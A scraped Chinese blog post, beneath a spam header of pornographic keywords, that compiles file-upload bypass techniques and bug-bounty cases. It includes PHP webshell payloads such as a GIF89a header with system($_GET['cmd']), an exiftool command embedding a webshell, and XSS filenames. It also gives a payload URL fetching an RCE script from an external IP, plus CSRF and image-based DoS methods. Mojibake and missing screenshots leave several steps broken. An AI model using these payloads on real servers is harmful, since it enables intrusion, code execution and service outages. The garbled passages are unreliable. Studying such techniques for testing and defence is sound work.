日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

.hpp文件_文件上传漏洞另类绕过技巧及挖掘案例全汇总

發(fā)布時間:2023/12/15 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 .hpp文件_文件上传漏洞另类绕过技巧及挖掘案例全汇总 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

文件上傳漏洞作為獲取服務(wù)器權(quán)限最快的方式,雖然相關(guān)資料很多,但很多人對上傳校驗方式、如何針對性繞過檢測、哪種上傳和解析的場景會產(chǎn)生危害等還是比較模糊。本文作一些闡述,然后補充一些除了上傳webshell的其他非常規(guī)挖掘姿勢,包括XSS、重定向、Dos、CSRF等等。

1、基礎(chǔ)知識:

? 要深入了解文件上傳,必須了解上傳屬性、常見文件的結(jié)構(gòu)、圖形處理函數(shù)等內(nèi)容。

1)? 報文特點:

? ?觀察文件上傳報文的特點:

HeaderContent-Type特征有二:

1.multipart/form-data(form表單的enctype屬性,規(guī)定為二進(jìn)制數(shù)據(jù))

2.boundary字符串(作用為分隔符,以區(qū)分POST數(shù)據(jù))

?POST內(nèi)容特征有五:

1.Content-Disposition:form-data

2. name:input表單名

3.filename:文件名

4.Content-Type:定義文件的類型和網(wǎng)頁的編碼,決定瀏覽器將以什么形式、什么編碼讀取這個文件;

5.boundary:Content-Type的值前面加了兩個---

2)? 常見校驗規(guī)則

? ?現(xiàn)存常用的上傳校驗規(guī)則無非下面幾類:

1.客戶端javascript校驗(后綴名)

2.文件頭content-type字段校驗(image/gif):附帶參數(shù)

4.后綴名黑/白名單校驗:擴(kuò)展名

5.文件內(nèi)容頭校驗:GIF89a

6.文件內(nèi)容校驗:文件信息,二次渲染

7.自定義正則校驗

3)一個澄清

? 文件上傳和文件解析是兩個過程,即使我們上傳的是php文件,但解析為圖片,訪問php文件會顯示“圖片無法顯示”;或者我們上傳的是jpg文件,但里面混有shell腳本,若被解析為php文件也會執(zhí)行;又或者上傳處沒法繞過檢測,只能上傳jpg文件,但在其他功能處存在文件包含等功能,仍可執(zhí)行成功。

? 還是回到安全的本質(zhì),上傳是“輸入”,那文件解析就是“輸出”,任何漏洞挖掘都需要結(jié)合輸入+輸出。

2、繞過技巧

這里匯總一些實戰(zhàn)中較常用的繞過技巧:

1)后綴名黑名單

以下替換后綴也可以解析為shell:

php.phtml,.phpt,.php3,.php3p

asp.aspx,asmx,ashx,web.config

perl:.pl,.pm,.cgi,.lib

jsp:.jspx,.jsw,.jsv,.jspf

Coldfusion:.cfm,.cfml,.cfc,.dbm

另外可以配合操作系統(tǒng)的文件命名規(guī)則:

.php.,.php空格,.php:1.jpg,.php::$DATA等

這些后綴的文件會被windows系統(tǒng)自動去掉不符合規(guī)則符號后面的內(nèi)容,從而只留下.php。

2)后綴名白名單

除了結(jié)合各種服務(wù)器解析特性,較常用的是Null Byte Injection空字節(jié)注入,插入空字節(jié)值的原因是某些應(yīng)用程序服務(wù)器腳本語言使用c/c++庫來檢查文件名和內(nèi)容。在C/C ++中,一行以/00結(jié)尾或稱為NullByte。因此,只要解釋器在字符串的末尾看到一個空字節(jié),就會停止讀取,認(rèn)為它已經(jīng)到達(dá)字符串的末尾。

如,我們將要上傳的Happy.jpg的名稱更改為Happy.phpA.jpg,然后上傳文件,在Burp中捕獲請求,切換到Hex視圖。在字符串視圖中找到文件名。查看相應(yīng)的Hex表,并將41('A')替換為00(為空字節(jié))。結(jié)果字符串變?yōu)镠appy.php(空).jpeg。由于php解釋器在內(nèi)部使用C語言庫,它將停止讀取Happy.php后的文件名,文件將保存為Happy.php。

?另一種繞過白名單的方法是使用雙后綴:shell.php.jpg。

3)? 文件頭

主要是檢測文件內(nèi)容開始處的文件幻數(shù),各文件頭:

PNG:8950 4E 47

JPG:FFD8 FF E0 00 10 4A 46 49 46

GIF:4749 46 38 39 61

? 可在hex模塊進(jìn)行編輯插入,后面加上shell代碼:

GIF89a; system($_GET['cmd']);# shellcode goes here ?>

4)? 文件內(nèi)容

如果上傳表單不檢查文件擴(kuò)展名但檢查文件的內(nèi)容,這種情況下我們可以上傳一個圖片馬,結(jié)果將執(zhí)行PHP代碼并省略JPG或GIF代碼,圖片馬的原理是不破壞文件本身的渲染情況下找一個空白區(qū)進(jìn)行填充代碼,一般會是圖片的注釋區(qū),可以使用copy命令或使用exiftool工具:

exiftool -Comment='<?php echo"

"; system($_GET['cmd']); ?>' file.jpg

5)? 二次渲染

? 這是一種較高端的檢測,當(dāng)我們把包含惡意代碼的圖片上傳,下載到本地之后發(fā)現(xiàn)代碼被刪除,只剩圖片信息,這就是后臺對圖片內(nèi)容進(jìn)行了二次渲染。相當(dāng)于把原本屬于圖像數(shù)據(jù)的部分抓了出來,再用自己的API 或函數(shù)進(jìn)行重新渲染,通常php使用的是GD庫。但仍可以繞過,基本方法是通過對比GD庫處理之前和之后的圖片數(shù)據(jù),找出相同(未經(jīng)處理)的數(shù)據(jù)插入惡意腳本。拿GIF舉例,使用的函數(shù)是imagecreatefromgif():

?未經(jīng)渲染的數(shù)據(jù):

?渲染后的數(shù)據(jù):

? 發(fā)現(xiàn)EXIF數(shù)據(jù)在渲染之后發(fā)生了變化,但第四位行是空數(shù)據(jù),而且沒有發(fā)現(xiàn)變化,可以在這里插入shell數(shù)據(jù):

? ? ?經(jīng)測試上傳后,shell腳本依然存在,成功繞過二次渲染。

? ? ?JPG原理類似,PNG稍復(fù)雜一點,了解PNG格式的話任意很多,可以將Web shell放入PLTE塊(CBC值)或IDAT塊來繞過PNG內(nèi)容的渲染:

拓展思路,我們甚至可以在這種場景下圖片里插入script腳本造成xss攻擊:

http://example.org/images/test.png?zz=alert("thisis xss :(");

6)? 條件競爭

? ?很多上傳場景里會先將文件上傳到服務(wù)器,然后通過rename修改名稱再將原文件刪除,因此可以通過條件競爭的方式在文件刪除之前多線程訪問webshell。一般使用intruder同時發(fā)兩個包:上傳文件+訪問webshell地址:

8)其他技巧

A.多個分號繞過

文件解析時,可能解析不到文件名,導(dǎo)致繞過。

Content-Disposition: form-data;name="file_x";;;filename="test.php"

B.多加一個filename(HPP)

C.多個Content-Disposition

D.更多

使用超長文件名、構(gòu)造更多的點、符號等都是可以嘗試的技巧,有時會碰到上傳文件無法抓到包的情況,那可能是上傳時轉(zhuǎn)化為了流文件,建議放棄。

3、另類實戰(zhàn)挖掘案例:

1、Upload+XSS

文件上傳和XSS在實際測試中,有很多組合技。如果不能實現(xiàn)上傳shell,

不妨試試構(gòu)造XSS:

  • Twitter上傳HTML文件

白名單限制不嚴(yán),上傳后綴為jpg的html文件,抓包改回后綴名并修改content type 為text/html,點擊上傳的html文件成功彈框:

其實還可以構(gòu)造另一種漏洞:開放重定向:

這里將Content-Type設(shè)置為HTML類型,并在html文件前添加文件頭以繞過

后端的png文件內(nèi)容檢測。

  • Svg文件上傳觸發(fā)XSS:

擴(kuò)展名白名單允許上傳SVG文件,SVG可以在其代碼中包含HTML元素,構(gòu)造SVG文件:

上傳SVG文件:

右鍵——>屬性找到文件地址,尋找觸發(fā)位置:

導(dǎo)致存儲型XSS:

3)上傳文件名XSS

? 這類xss案例較多,某些場景會把文件名直接回顯在界面上,還有報錯信息可能會包含上傳的文件名,這樣就可構(gòu)造包含xss payload的文件名進(jìn)行xss:

? 還可進(jìn)一步利用進(jìn)行xssi,如文件名改為:

.png

?? 瀏覽器會把base64 encoded數(shù)據(jù)解碼為:

aob('Running POC

data-5ce-guid="c1a7cec1-0b2c-eb11-8da9-e4434bdf6706" data-src="http://img-02.proxy.5ce.com/view/image?&type=2&guid=c9a7cec1-0b2c-eb11-8da9-e4434bdf6706&url=http://159.203.190.123/w9rfas89eufs9e8fu98ewufjwefiojwe_s1058g-/wp-rce.js" data-lazy="true" src="http://thumb.5ce.com/images/loading.gif">');

??js文件的內(nèi)容對后端PHP進(jìn)行操作,從而造成RCE,這里在知道路徑的前提下可以把hello.php改為<?php phpinfo();重定向到此文件:

Tip:XSS在很多場景下如果利用得當(dāng),也可以達(dá)到RCE的效果,不可小覷。

2、DOS攻擊

1)上傳超大圖片導(dǎo)致DOS

? 頭像上傳處上傳一張超大圖片(4032*3024)14.5MB,觀察服務(wù)器CPU,php-fpm進(jìn)程占了100%,原因是第三方VCard代碼將屬性值拆分為75個字符。

Tips:嘗試上傳超大文件,可能造成報錯信息利用/Dos等攻擊

2)Pixel floodattack

? 像素洪水攻擊,需要準(zhǔn)備一個5kb,260x260像素的圖像。將260x260值改為0xfafa x 0xfafa(64250x64250像素)進(jìn)行交換。圖像一旦上傳,服務(wù)器通過將“整個圖像”加載到內(nèi)存中,它會嘗試將4128062500像素分配到內(nèi)存中,從而充斥內(nèi)存并導(dǎo)致DoS。

?漏洞原因是一個負(fù)責(zé)上傳和調(diào)整大小的部件Paperclip,由于給定的尺寸和實際尺寸不同,會使得處理圖片時發(fā)生混亂。這個圖片會讓windows圖片查看器在打開時發(fā)生同樣的問題。

同樣的問題還有Hackerone的一例:上傳圖片的限制為:圖像大小1 MB,圖像尺寸:2048x2048px;上傳由40k 1x1圖像組成的GIF則會造成dos攻擊,原因在于未檢查文件大小/(寬*高)的數(shù)值。

3)PNG 解壓DOS

PNG文件由多個塊組成,其中一個可選的輔助塊稱為zTXT(ztxt),此塊允許使用zlib庫存儲壓縮文本數(shù)據(jù)。

使用一個大小為50MB的文件,填充零,將它壓縮到大約49 KB”,因此將大量數(shù)據(jù)存儲在一個小的PNG(小于1 MB)。當(dāng)發(fā)送給HackerOne時,會造成服務(wù)超時,這同樣是Paperclip 的問題。

3、Upload+CSRF

用戶的頭像上傳功能處沒有CSRF保護(hù),URL為:

https://chaturbate.com/photo_videos/photoset/detail/[username]/[set_id]/

通過查看或遍歷id值,使用xhr構(gòu)造csrf poc模擬發(fā)包,實現(xiàn)任意用戶上傳圖片,從而影響賬戶的完整性。

4、上傳其他文件:

1)js文件覆蓋

跨目錄上傳惡意js文件覆蓋原js文件:

Tips:某些場景下對上傳路徑未做校驗,導(dǎo)致上傳文件到任意路徑。

2)xml文件上傳XXE

? 后續(xù)XXE漏洞中具體講解。

5、上傳路徑泄露:

??可以使用構(gòu)造畸形文件名/路徑、不可解析的文件名、跨目錄(/\..)、破壞結(jié)構(gòu)、上傳過大文件等方式盡可能使得返回異常exception報錯信息:

? 除此之外,文件上傳也可涉及到SSRF、反序列化、目錄遍歷、本地文件泄露、越權(quán)上傳等漏洞。總之多觀察上傳環(huán)境的特點,不要思維固化,從漏洞本質(zhì)出發(fā),多嘗試可能就有新發(fā)現(xiàn)。

4、挖掘思路

?上傳漏洞挖掘思路總結(jié)起來分三步:

? 1、首先嘗試直接上傳腳本文件進(jìn)行RCE;

? 2、若存在過濾,對于檢測機制進(jìn)行猜測,確定機制后嘗試?yán)@過;

? 3、若無法繞過上傳,插入腳本后尋找解析/文件包含漏洞;

? 4、換其他類型文件:html、js、svg等轉(zhuǎn)到挖掘其他漏洞。

總結(jié)

以上是生活随笔為你收集整理的.hpp文件_文件上传漏洞另类绕过技巧及挖掘案例全汇总的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。